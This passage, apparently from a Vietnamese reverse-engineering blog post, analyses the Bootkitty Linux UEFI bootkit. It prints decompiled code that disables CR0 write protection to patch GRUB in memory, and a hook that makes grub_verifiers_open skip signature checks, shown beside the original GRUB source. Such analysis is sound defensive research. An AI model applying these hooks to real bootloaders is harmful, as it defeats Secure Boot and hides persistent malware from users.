      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      console_output = gST->ConOut;
      if ( console_output )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output->OutputString)(console_output, buffer);
    }
    local_flags = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (local_flags & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)original_func_ptr < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer_2,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_param,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      console_output_2 = gST->ConOut;
      if ( console_output_2 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_2->OutputString)(console_output_2, buffer_2);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( backup_original_grub_f3_180018230 != original_func_ptr )
    memmove_1800064F0(backup_original_grub_f3_180018230, original_func_ptr, 0xCui64);
  func_ptr = original_grub_f3_180018260;
  cr0_value = _readcr0_();
  wp_bit_enabled = BYTE2(cr0_value) & 1;
  if ( (cr0_value & 0x10000) != 0 )
    writecr0_180001010(cr0_value & 0xFFFFFFFFFFFEFFFFui64);
  check_flags = flags_180018176;
  if ( (flags_180018176 & 1) != 0 && 0xFFFFFFFFFFFFFFFFui64 - (unsigned __int64)func_ptr < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer_3,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_param,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      console_output_3 = gST->ConOut;
      if ( console_output_3 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_3->OutputString)(console_output_3, buffer_3);
    }
    check_flags = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (check_flags & 1) != 0 && ~(unsigned __int64)jmp_rax_trampoline_180012520 < 0xB && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer_4,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_param,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      console_output_4 = gST->ConOut;
      if ( console_output_4 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_4->OutputString)(console_output_4, buffer_4);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( func_ptr != jmp_rax_trampoline_180012520 )
    memmove_1800064F0(func_ptr, (char *)jmp_rax_trampoline_180012520, 0xCui64);
  if ( wp_bit_enabled )
  {
    cr0_value_2 = _readcr0_();
    writecr0_180001010(cr0_value_2 | 0x10000);
  }
  next_instr_ptr = original_grub_f3_180018260 + 2;
  cr0_value_3 = _readcr0_();
  wp_enabled = BYTE2(cr0_value_3) & 1;
  if ( (cr0_value_3 & 0x10000) != 0 )
    writecr0_180001010(cr0_value_3 & 0xFFFFFFFFFFFEFFFFui64);
  check_flags_2 = flags_180018176;
  if ( (flags_180018176 & 1) != 0 && ~(unsigned __int64)next_instr_ptr < 7 && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer_2,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_param,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x32i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)DestinationBuffer)"));
    if ( gST )
    {
      console_output_5 = gST->ConOut;
      if ( console_output_5 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_5->OutputString)(console_output_5, buffer_2);
    }
    check_flags_2 = flags_180018176;
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( (check_flags_2 & 1) != 0 && ~(unsigned __int64)target_address < 7 && !event_flag_18001817B )
  {
    AsciiSPrint_180006A50(
      buffer,
      0x200u,
      "ASSERT [%a] %a(%d): %a\n",
      debug_param,
      COERCE_DOUBLE("D:\\Projects\\Bootkitty-Linux\\edk2\\MdePkg\\Library\\BaseMemoryLib\\CopyMemWrapper.c"),
      0x33i64,
      COERCE_DOUBLE("(Length - 1) <= (0xFFFFFFFFFFFFFFFFULL - (UINTN)SourceBuffer)"));
    if ( gST )
    {
      console_output_6 = gST->ConOut;
      if ( console_output_6 )
        ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, char *))console_output_6->OutputString)(console_output_6, buffer);
    }
    if ( (flags_180018176 & 0x10) != 0 )
    {
      __debugbreak();
    }
    else if ( (flags_180018176 & 0x20) != 0 )
    {
      while ( 1 )
        ;
    }
  }
  if ( next_instr_ptr != target_address )
    memmove_1800064F0(next_instr_ptr, target_address, 8ui64);
  if ( !wp_enabled )
    return ((__int64 (__fastcall *)(EFI_TPL))gBS->RestoreTPL)(saved_tpl);
  cr0_value_4 = _readcr0_();                            // gBS->RaiseTPL()
                                                // EFI_TPL(EFIAPI * EFI_RAISE_TPL) (IN EFI_TPL NewTpl)
                                                // NewTpl   Mức độ ưu tiên tác vụ mới.
  writecr0_180001010(cr0_value_4 | 0x10000);
  return ((__int64 (__fastcall *)(EFI_TPL))gBS->RestoreTPL)(saved_tpl);
}

hook_grub_f3__grub_verifiers_open_18000C8B0

GRUB gọi hàm này khi mở tệp, và chịu trách nhiệm kiểm tra xem các trình xác minh tệp GRUB đã cài đặt (bao gồm cả trình xác minh shim_lock được đề cập ở trên) có cần xác minh tính toàn vẹn của tệp đang được tải hay không. Hàm hook sẽ ngay lập tức trả về mà không thực hiện bất kỳ kiểm tra chữ ký nào (lưu ý rằng điều này có nghĩa là nó thậm chí không thực hiện hàm shim_lock_verifier_init được gắn trước đó).

// static grub_file_t
// grub_verifiers_open (grub_file_t io, enum grub_file_type type)
__int64 __usercall hook_grub_f3__grub_verifiers_open_18000C8B0@<rax>(void *io@<rdi>, int type@<esi>)
{
  return (__int64)io;
}

.text:000000018000C8B0                               hook_grub_f3__grub_verifiers_open_18000C8B0 proc near
.text:000000018000C8B0                                                                       ; DATA XREF: hook_grub_3__grub_verifiers_open_18000E380+8A↓o
.text:000000018000C8B0 48 8B C7                                      mov     rax, rdi
.text:000000018000C8B3 C3                                            retn
.text:000000018000C8B3                               hook_grub_f3__grub_verifiers_open_18000C8B0 endp

grub_verifiers_open mã nguồn GRUB 2.12

static grub_file_t
grub_verifiers_open (grub_file_t io, enum grub_file_type type)
{
  grub_verified_t verified = NULL;
  struct grub_file_verifier *ver;
  void *context;
  grub_file_t ret = 0;
  grub_err_t err;
  int defer = 0;

  grub_dprintf ("verify", "file: %s type: %d\n", io->name, type);

  if ((type & GRUB_FILE_TYPE_MASK) == GRUB_FILE_TYPE_SIGNATURE
      || (type & GRUB_FILE_TYPE_MASK) == GRUB_FILE_TYPE_VERIFY_SIGNATURE
      || (type & GRUB_FILE_TYPE_SKIP_SIGNATURE))
    return io;

  if (io->device->disk &&
      (io->device->disk->dev->id == GRUB_DISK_DEVICE_MEMDISK_ID
       || io->device->disk->dev->id == GRUB_DISK_DEVICE_PROCFS_ID))
    return io;

  FOR_LIST_ELEMENTS(ver, grub_file_verifiers)
    {
      enum grub_verify_flags flags = 0;
      err = ver->init (io, type, &context, &flags);
      if (err)
	goto fail_noclose;
      if (flags & GRUB_VERIFY_FLAGS_DEFER_AUTH)
	{
	  defer = 1;
	  continue;
	}
      if (!(flags & GRUB_VERIFY_FLAGS_SKIP_VERIFICATION))
	break;
    }

  if (!ver)
    {
      if (defer)
	{
	  grub_error (GRUB_ERR_ACCESS_DENIED,
		      N_("verification requested but nobody cares: %s"), io->name);
	  goto fail_noclose;
	}

      /* No verifiers wanted to verify. Just return underlying file. */
      return io;
    }

  ret = grub_malloc (sizeof (*ret));
  if (!ret)
    {
      goto fail;
    }
  *ret = *io;

  ret->fs = &verified_fs;
  ret->not_easily_seekable = 0;
  if (ret->size >> (sizeof (grub_size_t) * GRUB_CHAR_BIT - 1))
    {
      grub_error (GRUB_ERR_NOT_IMPLEMENTED_YET,
		  N_("big file signature isn't implemented yet"));
      goto fail;
    }
  verified = grub_malloc (sizeof (*verified));
  if (!verified)
    {
      goto fail;
    }
  verified->buf = grub_malloc (ret->size);
  if (!verified->buf)
    {
      goto fail;
    }
  if (grub_file_read (io, verified->buf, ret->size) != (grub_ssize_t) ret->size)
    {
      if (!grub_errno)
	grub_error (GRUB_ERR_FILE_READ_ERROR, N_("premature end of file %s"),
		    io->name);
      goto fail;
    }

  err = ver->write (context, verified->buf, ret->size);
  if (err)
    goto fail;

  err = ver->fini ? ver->fini (context) : GRUB_ERR_NONE;
  if (err)
    goto fail;

  if (ver->close)
    ver->close (context);

  FOR_LIST_ELEMENTS_NEXT(ver, grub_file_verifiers)
    {
      enum grub_verify_flags flags = 0;
      err = ver->init (io, type, &context, &flags);
      if (err)
	goto fail_noclose;
      if (flags & GRUB_VERIFY_FLAGS_SKIP_VERIFICATION ||
	  /* Verification done earlier. So, we are happy here. */
	  flags & GRUB_VERIFY_FLAGS_DEFER_AUTH)
	continue;
      err = ver->write (context, verified->buf, ret->size);
      if (err)
	goto fail;

      err = ver->fini ? ver->fini (context) : GRUB_ERR_NONE;
      if (err)
	goto fail;

      if (ver->close)
	ver->close (context);
    }

  verified->file = io;
  ret->data = verified;
  return ret;

 fail:
  if (ver->close)
    ver->close (context);
 fail_noclose:
  verified_free (verified);
  grub_free (ret);
  return NULL;
}

Các thành phần khác

Ubuntu 24.04 Noble grubx64.efi

baramundisoftware/grub2_2024

Thẻ: uefi bootkit linux Security reverse-engineering

Đăng vào ngày 11 tháng 10 lúc 12:39